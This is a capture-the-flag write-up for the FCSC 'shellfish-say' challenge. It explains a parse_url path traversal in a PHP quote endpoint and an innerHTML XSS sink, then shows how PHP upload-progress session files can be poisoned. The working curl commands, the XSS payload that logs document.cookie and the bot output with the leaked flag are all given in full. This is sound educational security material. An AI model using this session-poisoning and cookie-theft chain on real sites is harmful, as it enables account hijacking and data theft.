Findings
Since we’re given the source code, let’s read and see if there’s anything exploitable.
Structure
Here’s a tree with all the interesting files we’ll going to take a look.
src/
├── app/
│ ├── Dockerfile (php:8.2-apache)
│ ├── html/
│ │ ├── .htaccess
│ │ ├── get_quote.php
│ │ ├── index.php
│ ├── php.ini
└── bot/
├── Dockerfile
├── entrypoint.sh
└── src/
├── bot.js
├── utils.js
└── package.json
We’re on a simple Apache + PHP web app with a bot that we will have to interact with to get our flag.
index.php
async function load_quote() {
const params = new URLSearchParams(window.location.search);
const quote_file = params.get("quote") ?? "shellfish.txt";
// 1. no encoding here!
let resp = await fetch(`/get_quote?quote=${quote_file}`);
quote = await resp.text();
// 2. ooh, innerHTML! maybe XSS?
document.body.getElementsByClassName("speech-bubble")[0].innerHTML = quote;
}
get_quote.php
<?php
// 1. base directory, very important!
$quote_file = "/tmp/quotes/";
// 2. ?quote=
if (isset($_GET["quote"])) {
// 3. if has colon
if (strpos($_GET["quote"], ":")) {
// 4. no path traversal protection!!
$quote_file .= parse_url($_GET["quote"].".txt")["path"];
}
// no colon but has protections!
else {
// we get blocked..
if (strpos($_GET["quote"], "..")) {
$quote_file .= "shellfish.txt";
}
// not useful~
else {
$quote_file .= $_GET["quote"].".txt";
}
}
}
// default value
else {
$quote_file .= "shellfish.txt";
}
// if no file, also default value
if (!file_exists($quote_file)) {
$quote_file = "/tmp/quotes/shellfish.txt";
}
// 5. it returns the file content as is!
readfile($quote_file);
We can perform a path traversal if our quote parameter has a colon.
If we add a # at the end of our quote parameter, we’ll ignore the .txt extension
since parse_url will treat it as a fragment and not part of the path anymore.
bot.js
await page.setCookie({
name: 'FLAG',
value: process.env.FLAG ?? "FCSC{flag_placeholder}",
domain: new URL(process.env.CHALLENGE_HOST).host
});
await page.goto(url); // this is our input!
Also, all console.log calls are forwarded to us.
The flag we’re looking for is stored in a cookie,
so our goal is to run console.log(document.cookie) on the challenge domain.
big brain time
Let’s recap: XSS is doable if the PHP sends malicious HTML and path traversal on that same route to retrieve different files is doable.
Now, what should we do with all these to trigger a log on the document.cookie?
After a bit of research using the values from the PHP configuration, I found out that PHP has a built-in mechanism to track file upload progress.
If session.upload_progress.enabled = On and a multipart/form-data POST
contains a field named PHP_SESSION_UPLOAD_PROGRESS, PHP automatically starts
a session (even with session.auto_start = 0) and writes upload progress data
into that session, keyed by upload_progress_ concatenated with the value of
the PHP_SESSION_UPLOAD_PROGRESS field.
Normally, this data is cleaned up when the upload finishes. But in our php.ini,
session.upload_progress.cleanup = Off, so the data persists after the upload completes.
Also, with session.use_strict_mode = 0 and session.use_only_cookies = 1,
we can supply our own session ID via a cookie. PHP will create a new session file at /tmp/sess_<PHPSESSID>.
Exploiting
curl -s -X POST 'https://shellfish-say.fcsc.fr/' \
-b 'PHPSESSID=uwu' \
-H "Content-Type: multipart/form-data; boundary=----WhyyyySoSeriousTwT" \
--data-binary $'------WhyyyySoSeriousTwT\r\n'\
$'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'\
$'<img src=x onerror=console.log(document.cookie)>\r\n'\
$'------WhyyyySoSeriousTwT\r\n'\
$'Content-Disposition: form-data; name="file"; filename="a.txt"\r\nContent-Type: text/plain\r\n\r\nhello\r\n'\
$'------WhyyyySoSeriousTwT--\r\n'
curl -s 'https://shellfish-say.fcsc.fr/get_quote?quote=vex:../../tmp/sess_uwu%23'
# a:1:{s:64:"upload_progress_<img src=x onerror=console.log(document.cookie)>";a:5:{...}}
Let’s send that URL to the bot!
$ nc challenges.fcsc.fr 2256
==========
Tips: Every console.log usage on the bot will be sent back to you :)
Note that your exploit must target http://shellfish-say/ to get the flag.
==========
Starting the browser...
[T1]> New tab created!
[T1]> navigating | about:blank
Setting the flag in a cookie...
Going to the user provided link...
[T1]> navigating | http://shellfish-say/?quote=vex:../../tmp/sess_uwu%2523
[T1]> console.error | Failed to load resource: the server responded with a status of 404 (Not Found)
[T1]> console.log | FLAG=FCSC{173b276667bf8bd64ae842c4df76bc25913078dbe167b6d47ca59a858ea15e8c}
Leaving o/
[T1]> Tab closed!